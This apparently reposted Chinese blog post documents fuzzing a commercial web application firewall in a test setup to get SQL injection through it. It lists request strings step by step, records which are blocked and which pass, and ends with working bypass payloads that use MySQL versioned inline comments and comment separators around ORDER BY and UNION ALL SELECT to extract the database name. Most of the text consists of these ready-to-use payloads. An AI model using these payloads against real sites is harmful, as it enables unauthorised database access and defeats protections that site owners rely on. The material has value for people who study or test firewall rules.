| 关键词: union select 39 20000 order id 00000 database 空格 payload |
#01 环境简介 服务器:windows2008 R2 软件:phpstudy20180211 php 5.4.45 mysql 5.5.53 某锁win_3.1.18.13服务端版本 #02 Fuzz过程 以基于union注入为例 fuzz order by 过程如下: ?id=1' order --+ 不拦截 ?id=1' order by --+ 拦截 ![]() nna那应该是waf匹配了order+by ?id=1' order /*!by*/ --+ 拦截 ?id=1' order /*!60000by*/ 1 --+ 不拦截,但是报错 翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的'1-'LIMIT 0,1'附近使用正确的语法 那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000) ?id=1' order /*!20000by*/ 3 --+ 不拦截,且执行成功 ?id=1' /*!20000order*/by 3--+ 不拦截,且执行成功 ?id=1' /*!20000order*/by 4--+ 用过狗payload去试试,首先替换空格 ?id=1' order/**/by --+ 拦截 ?id=1' order/*!123*/by --+ 不拦截,但是报错 换成过够payload ?id=1' order/*!60000bbb*/by 3 --+ 不拦截,成功绕过 ?id=1' order/*!60000bbb*/by 4 --+ 不拦截,报错 过狗payload在这个位置也是可行的。
fuzz union select 1,2,database() fuzz过程如下 ?id=-1' union --+ 不拦截,报错… ?id=-1' union select --+ 拦截了,同样考虑用内联注释的方式绕过 ?id=-1' union /!20000select*/ --+ 不拦截,报错… ?id=-1' union /!20000select*/ 1,2,3--+ 不拦截,报错,这里的报错就跟前面不一样了,前面没加参数肯定错,但是这里加了,报错,说明有问题。 内联注释恰面的union尝试一下。 ?id=-1' /*!20000union*/ select 1,2,3--+ 拦了 ?id=-1' /*!20000union select*/ 1,2,3--+ 拦了 ?id=-1' /*!20000union select 1,2,3*/--+ 拦了 那就考虑用union all select ?id=-1' /*!20000union all select 1,2,3*/--+ 还是拦截了,在考虑换个注释的位置 ?id=-1' union /*!20000all select 1,2,3*/--+ ok,nice没拦,执行成功 然后替换参数 ?id=-1' union /*!20000all select 1,2,database()*/--+ ok
?id=-1' union /*!20000all select 1,2,database ()*/--+ ok 空格绕过了 还可以考虑其他分隔符: ?id=-1' union /*!20000all select 1,2,database/**/()*/--+ 同样可以达到绕过的目的 后面直接贴payload吧 1.?id=1' /*!20000order*/by 3--+ |
| 本文出处: https://www.toutiao.com/a6776148345564955140/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|